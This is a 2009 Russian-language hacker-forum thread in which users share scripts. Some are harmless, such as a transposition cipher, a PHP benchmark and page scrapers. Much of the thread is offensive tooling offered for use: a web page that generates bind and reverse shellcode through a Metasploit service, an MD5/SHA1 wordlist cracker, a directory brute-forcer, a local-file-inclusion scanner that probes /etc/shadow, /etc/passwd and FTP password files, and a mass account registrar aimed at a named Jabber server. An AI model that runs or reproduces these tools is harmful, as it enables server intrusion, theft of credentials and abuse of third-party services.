Кто-нибудь встречал скрипты-почтовики, чтобы можно было делать Forwarder email адреса?
На данный момент пользуюсь средствами своего хостера и на создание email такого типа уходит около минуты, т.е. для создания 1000 таких email адресов, уйдёт оочень много времени....
Заранее благодарен! :)
Pashkela
19.03.2009, 20:21
Прилетело сегодня такое сообщение в личку:
Вот имеется такая проблемка
нужно "зашифровать" текст например так:
вводим строку, длинну "блока" иалгоритм по которуму будут "перемешиваться" буквы...
пример:
строка: привет
длинна блока: 4 (т.е. делим строку на блоки по 4 буквы и если в блоке не хватает букв, то дополняется рандомными буквами в данном случаем пусть будет "ос")
алгоритм: 3124
получается: ипрвоетс
Решил, показалось интересным, добавил расшифровку, может кому и пригодиться:
<pre>
<?php
$slov = 'корректно работает со словами по отдельности и текстом в частности'; // Слово для шифрования (или текст)
$bl = 8; // Длина блока, на которые делим слово
$ran = 'бямпуент'; // Мусор, который добавляем, если при делении слова получился кусок меньше длины блока
$key = '38247165'; // Ключ перестановки (в пределах длины блока)
$shifr_slov = encode($slov,$bl,$ran,$key);
echo "Пример шифрования\n";
echo "Слово < $slov >\n";
echo "Зашифрованное слово < $shifr_slov >\n";
function encode($slovo,$blog,$rand,$alg) {
$res2 = str_split($alg);
for ($i=0;$i<count($res2);$i++) $res2[$i]--;
$res = str_split($slovo,$blog);
for ($i=0;$i<count($res);$i++) {
if (strlen($res[$i])<$blog) $res[$i] = $res[$i].$rand;
}
for ($i=0;$i<count($res);$i++) $res1[] = str_split($res[$i]);
for ($i=0;$i<count($res1);$i++) {
for ($j=0;$j<count($res1[0]);$j++) {
$b = $res2[$j];
$hash.=$res1[$i][$b];
}
}
return $hash;
}
###########################################
echo "\n\n\n\n\n";
echo "Пример декодирования\n";
$slov = $shifr_slov; // Слово для расшифровки (или текст)
//$bl = 4; // Длина блока, на которые делим слово
//$ran = 'ос'; // Мусор, который добавляем, если при делении слова получился кусок меньше длины блока
//$key = '3124'; // Ключ перестановки (в пределах длины блока)
echo "Зашифрованное слово < $slov >\n";
echo "Расшифрованное слово < ".decode($slov,$bl,$ran,$key) . " >\n";
function decode($slovo,$blog,$rand,$alg) {
$buff = '';
$res2 = str_split($alg);
for ($i=0;$i<count($res2);$i++) $res2[$i]--;
for ($i=0;$i<count($res2);$i++) {
$c = $res2[$i];
$res3[$c] =$i;
}
$res = str_split($slovo,$blog);
for ($i=0;$i<count($res);$i++) $res1[] = str_split($res[$i]);
for ($i=0;$i<count($res1);$i++) {
for ($j=0;$j<count($res1[0]);$j++) {
$b = $res3[$j];
$hash.=$res1[$i][$b];
}
}
$hash = str_replace($rand,'',$hash);
for ($i=strlen($rand);$i>0;$i--) {
$buff=substr($rand,0,$i);
if (strpos($hash,$buff)) {
$hash = str_replace($buff,'',$hash);
$buff = '';
$i=0;
}
}
return $hash;
}
?>
</pre>
корректно работает со словами по отдельности и текстом в частности (правда при достаточной длине мусора, чтобы было как можно меньше совпадений в мусоре (в слогах) и кодируемом/декодируемом тексте)
т.е. имеет смысл при длине блока и мусора от 4-х единиц
ЗЫЖ Пост подправил, привел более интересный пример, включая совпадения букв мусора с буквами с кодируемом тексте
т.е. то, что выше, превращает
"корректно работает со словами по отдельности и текстом в частности"
в
"рнортккера атооб лтссе оаовмпо итнодь леттси ои свкт емоасчсо нтбеияутпм"
и обратно.
В принципе, не имея длины блока, ключа и мусора - хрен расшифруешь.
ph1l1ster
20.03.2009, 00:15
Shellcode Generator [uNk r.]
<html>
<body>
<style>
body {
background-color: #2b2b2b;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
color: #B0B0B0;
}
.shellcode {
font-size:10pt;
color: #FFF;
font-weight:normal;
}
.border
{
border: 1px solid #006699;
background-color:#000000;
}
.header
{
background-color:#000000;
}
.content-background
{
background-color:#000000;
}
.text-strong
{
font-weight:bold;
}
.content-border
{
border: 1px solid #006699;
background-color:#1A1A1A;
}
.content-background
{
background-color:#000000;
}
a:link {
color: #006699;
}
a:visited {
color: #006699;
}
a:hover {
color: #CCCCCC;
}
a:active {
color: #CCCCCC;
}
textarea
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
input
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
select
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
</style>
<?PHP
if(isset($_POST['port'])){
function input_match($source, $num, $preg, $preg1)
{
$parts = explode($preg, $source);
$parts = explode($preg1, $parts[$num]);
$var = $parts[0];
return $parts[0];
}
function browse($url)
{
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
return $store;
}
function glob_match_bind_shell($os)
{
if($os == 'linux_ia32_bind')
{
$glob == "GLOB(0x2b4a01c2fef0)";
}else
if($os == 'bsd_ia32_bind')
{
$glob == "GLOB(0x2b4a01c208a0)";
}else
if($os == 'win32_bind')
{
$glob == "GLOB(0x2b4a01c41e90)";
}
return $glob;
}
function glob_match_rev_shell($os)
{
if($os == 'linux_ia32_reverse')
{
$glob == "GLOB(0x2b4a01c41fb0)";
}else
if($os == 'bsd_ia32_reverse')
{
$glob == "GLOB(0x2b4a01c41d30)";
}else
if($os == 'win32_reverse')
{
$glob == "GLOB(0x2b4a01b95800)";
}
return $glob;
}
function bind_shell($port, $os)
{
$glob = glob_match_bind_shell($os);
$input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_LPORT=".$port."&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
$size = input_match($input, 1, "Size=", " ");
$output = input_match($input, 1, "*/", "#");
$type = ucwords(str_replace("_"," ",$os));
echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
<br><pre>
<div class=shellcode>/* <br> Affix Presents... <br> uNkn0wn's Online Shell Code Generator <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";
}
function reverse_shell($host, $port, $os)
{
$glob = glob_match_rev_shell($os);
$input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_EXITFUNC=seh&OPT_LHOST=$host&OPT_LPORT=$port&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
$size = input_match($input, 1, "Size=", " ");
$output = input_match($input, 1, "*/", "#");
$type = ucwords(str_replace("_"," ",$os));
echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
<br><pre>
<div class=shellcode>/* <br> Affix Presents... <br> uNkn0wn's Online Shell Code Generator <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";
}
if(!eregi("_bind", $os))
{
echo reverse_shell($host, $port, $os);
}else{
echo bind_shell($port, $os);
}
}else{
echo '<center>
<table width="33%" height="90" border="0" cellpadding="3" cellspacing="1" class="content-border" id="table3">
<tr>
<td class="content-background">
<div align="center"><center><font face="Trebuchet MS" size=3>
<b>uNkn0wn.ws Online Shellcode Generator!<br />
Affix</b>
</font>
</center>
<br>
<font face="Trebuchet MS" size=2 color=#006699>
<hr>
<form method="POST" action="'.$_SERVER['PHP_SELF'].'">
<table width="100%" cellspacing=0 border=0 cellpadding=0>
Shell Code: <select name="os">
<option value="linux_ia32_bind">Linux IA32 Bind Shell</option>
<option value="linux_ia32_reverse">Linux IA32 Reverse Shell</option>
<option value="bsd_ia32_bind">BSD IA32 Bind</option>
<option value="bsd_ia32_reverse">BSD IA32 Reverse</option>
<option value="win32_bind">Windows[32] Bind</option>
<option value="win32_reverse">Windows[32] Reverse</option>
</select></table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
Port: <input type="text" name="port" value="8080"></table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
Reverse IP: <input type="text" name="host" value='.$_SERVER['REMOTE_ADDR'].'></table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
<input type="submit" name="submit" value="Generate Shell Code!">
</table>';
$port = $_REQUEST['port'];
$host = $_REQUEST['host'];
$os = $_REQUEST['os'];
}
?>
</body>
</html>
#!/usr/bin/python
#sha1/md5 wordlist brute
#http://sql.parsers.info
#faza02[at]gmail[dot]com
import hashlib
def brutemd():
fil = open(wordlist, 'a+').readlines()
for i in range(len(fil)):
md5 = hashlib.md5(fil[i][:-1]).hexdigest()
if md5 == hash:
print hash + ':' + fil[i][:-1]
def brutesha():
fil = open(wordlist, 'a+').readlines()
for i in range(len(fil)):
sha = hashlib.sha1(fil[i][:-1]).hexdigest()
if sha == hash:
print hash + ':' + fil[i][:-1]
hash = raw_input(u'hash: ')
wordlist = raw_input('wordlist: ')
if len(hash) == 40:
brutesha()
if len(hash) == 32:
brutemd()
ша1/мд5 брут.
(c) faza02
Shadow_p1raT
20.03.2009, 17:06
Вообщем решил сюда тоже запостит,так как темка та уже потерялась а скрипт полезный:-)
Требует модуля php_openssl.
<?php
#########################################
#
# Google Maps Api by Shadow_p1raT
# ICQ#: 9930875
#
#########################################
# #
$email = '1111111@gmail.com'; // Аккунт на гмаил.ком
$pass = '1111111'; // Пароль от акка
$proxy = '127.0.0.1:3130'; // Прокси если надо
$url = 'http://forum.antichat.ru/'; // Урл сайта
# #
echo '<title>Google Maps Api by Shadow_p1raT</title>';
set_time_limit(0);
class gMapKey {
private $email;
private $pass;
private $proxy;
private $url;
private $result;
private function sock_do($action,$method,$header = false,$params = false,$cookie = false,$referer = false)
{
$out = array('http' => array());
$method = strtoupper($method);
if($method == 'GET') {
$action .= !empty($params) ? '?'.$params : '';
$out['http']['method'] = 'GET';
} elseif($method == 'POST') {
$out['http']['method'] = 'POST';
$out['http']['header'] = "Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".strlen($params)."\r\n";
$out['http']['content'] = $params;
} else {
die('Йа криветко');
}
if($this->proxy) {
$out['http']['proxy'] = 'tcp://'.$this->proxy;
}
if($cookie) {
$out['http']['header'] .= 'Cookie: '.$cookie."\r\n";
}
if($referer) {
$out['http']['header'] .= 'Referer: '.$referer."\r\n";
}
$out['http']['header'] .= "Connection: close\r\n";
$out['http']['header'] .= "User-Agent: Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1\r\n";
$content = stream_context_create($out);
$result = @file_get_contents($action,false,$content);
$res = array();
$res = array($result);
if($header) {
$res[] = implode("\r\n",$http_response_header);
}
return $res; //Возвращаем ответ + заголовки
}
private function preg_Cookie($cookie)
{
preg_match_all('#Set-cookie: (.*;)#UiS',$cookie,$headers);
return implode(' ',$headers['1']);
}
private function preg_Location($text)
{
preg_match('#Location: (.*)#',$text,$reg);
return trim($reg['1']);
}
private function getnormal ($str)
{
return str_replace ("&", "&", $str);
}
public function setOption($email,$pass,$url,$proxy = '')
{
$this->email = urlencode($email);
$this->pass = urlencode($pass);
$this->url = urlencode($url);
$this->proxy = $proxy;
}
public function parse()
{
if(strstr($this->result,'Your key is'))
{
preg_match('~page_title">(.*)\©2008 Google~sUi',$this->result,$reg);
echo '<html>
<head>
<link href="http://code.google.com/css/codesite.pack.01312008.css" type="text/css" rel="stylesheet"></link>
</head>';
echo $reg[1];
}
else
{
echo '[-] Не удалось получить Google Maps API Key!';
}
}
public function Sign()
{
$res = $this->sock_do('https://www.google.com/accounts/LoginAuth','POST',1,'Email='.$this->email.'&Passwd='.$this->pass.'&PersistentCookie=yes&rmShown=1&signIn=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&asts=');
$cookie = $this->preg_Cookie($res[1]);
$location = $this->preg_Location($res[1]) or die('[-] Неправильный логин или пароль!');
unset($res);
$res = $this->sock_do($location,'GET',1,'',$cookie);
preg_match('/url='(.+?)'/',$res[0],$reg) or die('[-] Произошла ошибка при логине аккунта!');
$location = $this->getnormal($reg[1]);
unset($res);
$res = $this->sock_do($location,'GET',1,'',$cookie);
$cookie = $this->preg_Cookie($res[1]);
unset($res);
$res = $this->sock_do('http://maps.google.com/maps/api_signup?url='.$this->url,'GET',1,'',$cookie);
$this->result = $res[0];
unset($res);
}
}
$gmk = new gMapKey();
$gmk->setOption($email,$pass,$url,$proxy);
$gmk->Sign();
$gmk->parse();
?>
Форум порезал некоторые регулярки)
Качаем
#!/usr/bin/python
#header dirs scan
#http://sql.parsers.info/
#faza02[at]gmail[dot]com
import urllib
def scan():
print ' ____________________________ '
print ' / /\ '
print ' / _/ /\ '
print ' / by faza02 / \/ '
print ' / /\ '
print '/___________________________/ / '
print '\___________________________\/ '
print ' \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ '
good = [100, 101, 200, 201,202, 203,204,205, 206, 300, 301, 302, 303, 304, 305]
site = raw_input(u'\nsite: ')
dirlist = raw_input(u'dirs: ')
fileopen = open(dirlist, 'a+').readlines()
for i in range(len(fileopen)):
state = urllib.urlopen('http://' + site + fileopen[i][:-1]).getcode()
if state in good:
print fileopen[i][:-1] + ' - ' + str(state)
open('c:/' + site + '_log.txt', 'a+').write(fileopen[i][:-1] + ' - ' + str(state) + '\n')
scan()
print '\nok!'
сканер директорий, доволбно быстрый.
все логи хранит в c:/[site]_log.txt
http://sql.parsers.info/list.txt - неплохой словарь.
imajo.ati
21.03.2009, 17:51
<?php
######################################## #######################################
#
# показывает, во сколько раз различаются скорости 2х кусков кода
# полезно для оптимизации
# настройки:
$tests = 5; # количество тестов для среднего арифметического
$calc = 50; # количество измерений за 1 тест
$repeat = 500; # количество повторов(подряд) кода за 1 измерение
# если используется ~ быстрый код, цифры нужно увеличить ( > )
# если используется медленный код, цифры нужно уменьшить ( < )
#
######################################## #######################################
echo "BEGIN TEST\n\n";
$tests = abs( (int)$tests );
$calc = abs( (int)$calc );
$repeat = abs( (int)$repeat );
$control = calc_control( $repeat );
$cnt = $tests * $calc;
$c = 0;
$result = 0;
if ( $tests === 0 || $cnt === 0 ) end_test( "FATAL ERROR" );
for ( $i = 0; $i < $tests; ++$i ) $result += test();
$result = round( $result / $tests , 2 );
if ( $result > 0 ) end_test( "1 faster x{$result}" );
else if ( $result < 0 ) end_test( "2 faster x" . (-$result) );
else end_test( "~ identical" );
######################################## #######################################
function end_test( $text )
{
echo "\n\n {$text}\n\nEND TEST\nPress ENTER";
die( fgets(STDIN) );
}
//eof
function calc_control( $repeat )
{
$avg = 0;
$cnt = 5;
for ( $i = 0; $i < $cnt; ++$i )
{
$time_s = microtime(1);
for ( $o = 0; $o < $repeat; ++$o ) {}
$time_f = microtime(1);
$avg += $time_f - $time_s;
}
return( $avg/$cnt );
}
function test()
{
global $calc, $repeat, $control, $cnt, $c;
$f1 = 0;
$f2 = 0;
$result = 0;
for ( $i = 0; $i < $calc; ++$i )
{
$time_s = microtime(1); for ( $o = 0; $o < $repeat; ++$o ) {}
$time_f = microtime(1); 10000 * ( $time_f - $time_s - $control );
$time_s = microtime(1);
for ( $o = 0; $o < $repeat; ++$o )
{
# код 1
microtime();
}
$time_f = microtime(1);
$timer1 = 10000 * ( $time_f - $time_s - $control );
$time_s = microtime(1); for ( $o = 0; $o < $repeat; ++$o ) {}
$time_f = microtime(1); 10000 * ( $time_f - $time_s - $control );
$time_s = microtime(1);
for ( $o = 0; $o < $repeat; ++$o )
{
# код 2
microtime(1);
}
$time_f = microtime(1);
$timer2 = 10000 * ( $time_f - $time_s - $control );
$c++; $complete = round( ($c/$cnt) * 100 );
echo "\r complete: {$complete}%";
if ( round( $timer1 , 5 ) === round( $timer2 , 5 ) )
{
end_test("absolute identical");
}
else if ( $timer2 > $timer1 ) // 1 faster
{
++$f1;
$result += $timer2 / $timer1;
}
else if ( $timer1 > $timer2 ) // 2 faster
{
++$f2;
$result += $timer1 / $timer2;
}
}
usleep(100000);
$result /= $calc;
if ( $f1>0 && $f2>0 ) return 0;
else if ( $f1 > 0 ) return $result;
else return -$result;
}
//eof
######################################## #######################################
?>
Получаем первую цитату из топа бездны башорга
<?php
$text = file_get_contents('http://bash.org.ru/abysstop');
preg_match('#<div>(.+)</div>#U',$text,$fraza);
echo '<p>',$fraza[0],'</p>';
?>
автореггер jid'ов на xim.ca
автор: eLwaux
perl:#! /usr/bin/perl -w
use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';
#================================================= ===============================
#================================================= ===============================
my $EMAIL = '';
my $names = 'names.txt';
my $threads = shift || 15;
my $DEBUG = 0;
#================================================= ===============================
#================================================= ===============================
sub s2f {
open(FILE, '>>'.$_[0]) || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE $_[1];
flock(FILE, LOCK_UN);
close(FILE);
}
sub generate_random_string
{
my $length_of_randomstring=shift;# the length of
# the random string to generate
my @chars=('a'..'z','A'..'Z','0'..'9','_');
my $random_string;
foreach (1..$length_of_randomstring)
{
$random_string.=$chars[rand @chars];
}
return $random_string;
}
#========================
#== start.. =============
#================================================= ===============================
open (FILE, '<'.$names) || die(" [-] ".$names." not found!\n");
my @NAMES : shared = <FILE>;
chomp(@NAMES);
close(FILE);
if ($DEBUG == 1) {s2f('DEBUG',"=======\n\n\n");}
print "\n ] xim.ja NAMES spammer\n";
print " ] eLwaux(c)2009\n\n";
print " ] reg: ".(scalar(@NAMES))." accs\n\n";
$time = time;
printf " [ ] started [".localtime()."]\n\n";
print " ".("-"x40)."\n";
for(0..$threads) {$trl[$_] = threads->create(\&Spam, $_);}
for(@trl) { $_->join; }
print " ".("-"x40)."\n";
$time = time-$time;
printf "\n [ ] finished [".localtime()."]\n";
printf " [i] time elapsed: $time sec\n";
<stdin>;
exit;
sub Spam{
while(@NAMES)
{
{lock(@NAMES);
$NAMES = shift @NAMES;}
my $PASSWORD = generate_random_string(int(rand(20)+10));
my $post = '';
my $header = "POST http://xim.ca:9090/plugins/registration/sign-up.jsp?username=".$NAMES."&name=".$NAMES."&email=&password=".$PASSWORD."&passwordConfirm=".$PASSWORD."&create=Create+Account
HTTP/1.1\r\n".
"Host: xim.ca:9090\r\n".
"User-Agent: HeMa\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Referer: Referer: http://xim.ca:9090/plugins/registration/sign-up.jsp?success=true\r\n".
"Cookie: JSESSIONID=jejejejejeje\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";
my $sock = sock();
print $sock $header;
read($sock,my $answ,10000);
close($sock);
if ($DEBUG == 1) {s2f('DEBUG',$answ);}
if ($answ =~ /sign.up.user_exist/) {
print " [-] ".$NAMES."\n";
}
else {
print " [+] ".$NAMES.':'.$PASSWORD."\n";
s2f('result',$NAMES.'@xim.ca : '.$PASSWORD."\n");
}
}
}
#================================================= ============================
#================================================= ============================
#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'xim.ca',
PeerPort => 9090,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
#================================================= ============================
#================================================= ============================
ph1l1ster
25.03.2009, 15:57
простенький Include path Scanner, мало путей, позже добавлю больше.
#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq(
###########################
# Include path Scanner #
# coded by ph1l1ster #
###########################
);
print "\n\n\nPlease enter site adress.\n";
print "e.g.: http://google.com/?id=\n\n";
print "> ";
$site = <STDIN>;
chomp($site);
@patchs = ('/etc/passwd','/etc/shadow','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/etc/ftpchroot',
'/etc/ftphosts','/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf','/etc/mysql/my.cnf','/etc/my.cnf','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/httpd/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini',
'/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/etc/php.ini','/etc/logrotate.d/proftpd','/etc/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/httpd/conf/httpd.conf',
'/etc/http/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/logrotate.d/ftp','/etc/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache/conf/httpd.conf','/etc/apache2/httpd.conf',
'/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','/etc/pure-ftpd/pure-ftpd.conf',
'/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log',
'/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log',
'/logs/error.log','/logs/access.log','/apache/logs/access.log','/logs/pure-ftpd.log',
'/usr/local/apache/logs/access_ log','/usr/local/apache/logs/access. log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log',
'/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini',
'/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini',
'/usr/local/etc/apache/vhosts.conf','/usr/local/Zend/etc/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/usr/local/cpanel/logs/stats_log','/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf','/usr/ports/ftp/pure-ftpd/','/usr/ports/net/pure-ftpd/','/usr/pkgsrc/net/pureftpd/','/usr/ports/contrib/pure-ftpd/',
'/var/www/logs/access_log','/var/www/logs/access.log','/var/log/apache/access_log','/var/log/apache2/access_log','/var/log/apache/access.log','/var/log/apache2/access.log',
'/var/log/access_log','/var/log/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/log/apache/error_log',
'/var/log/apache2/error_log','/var/log/apache/error.log','/var/log/apache2/error.log','/var/log/error_log','/var/log/error.log',
'/var/log/httpd/access_log','/var/log/httpd/error_log','/var/log/httpd/access_log','/var/log/httpd/error_log','/var/www/logs/access_log','/var/www/logs/access.log',
'/var/www/logs/error_log','/var/www/logs/error.log','/var/log/httpd/access_log','/var/log/httpd/access.log','/var/log/httpd/error_log','/var/log/httpd/error.log',
'/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log',
'/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/access_log','/var/log/access.log','/var/log/error_log','/var/log/error.log','/var/www/logs/access_log',
'/var/www/logs/access.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/access_log','/var/www/logs/error_log','/var/www/logs/error.log',
'/var/log/apache/error_log','/var/log/apache/error.log','/var/log/access_log','/var/log/error_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf',
'/var/log/proftpd','/var/log/vsftpd.log','/var/log/xferlog','/var/adm/log/xferlog','/var/log/pure-ftpd/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy','/var/log/ftplog','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog',
'/var/log/exim/rejectlog','/var/log/exim_rejectlog','/var/local/www/conf/php.ini','/var/www/conf/httpd.conf',
'/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log',
'/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log',
'/apache/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log',
'/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache/logs/error.log',
'/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log',
'/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log',
'/opt/lampp/logs/access_log','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log',
'/Program Files\Apache Group\Apache\logs\access.log','/Program Files\Apache Group\Apache\logs\error.log','/Program Files\Apache Group\Apache\conf\httpd.conf',
'/Program Files\Apache Group\Apache2\conf\httpd.conf','/Program Files\xampp\apache\conf\httpd.conf',
'/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/bin/php.ini','/web/conf/php.ini','/opt/xampp/etc/php.ini','/php5\php.ini','/php4\php.ini','/php\php.ini','/PHP\php.ini','/WINDOWS\php.ini','/WINNT\php.ini','/apache\php\php.ini','/xampp\apache\bin\php.ini','/NetServer\bin\stable\apache\php.ini','/home2\bin\stable\apache\php.ini','/home\bin\stable\apache\php.ini','/www/logs/proftpd.system.log',);
print "\n### Scanning....\n\n";
foreach $patchs( @patchs){
$url = $site.$patchs;
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if ($ans->content =~ /bin:x|root:x|phpmyadmin|cpanel|nologin/)
{
print "$url \n<<< ## FOUND ## >>>\n";
}
else
{
print "$url # not found!\n";
}
}
mailbrush
25.03.2009, 18:19
<?
$url="http://www.rapidshare.ru/976846"; //Ссылка на файл
$url=file_get_contents($url); //Достаем сорс страницы
preg_match("# <a href=\"\'\+\'(.*)\">.*</a>#",$url,$d); //Достаем ссылку
header("Location: $d[1]"); //Качаем файл
?>
Скрипт закачки файла с рапида.ру без ожидания.
простенький Include path Scanner, мало путей, позже добавлю больше.
а не удобней будет "держать" массив @patchs в файле?
и при запуске считывать в массив?
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
...
ReGGeR[Vk]
25.03.2009, 18:55
eLWAux,
#! /usr/bin/perl -w
use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';
ты не замечаешь в начале своего реггера ничего странного?)
']eLWAux,
#! /usr/bin/perl -w
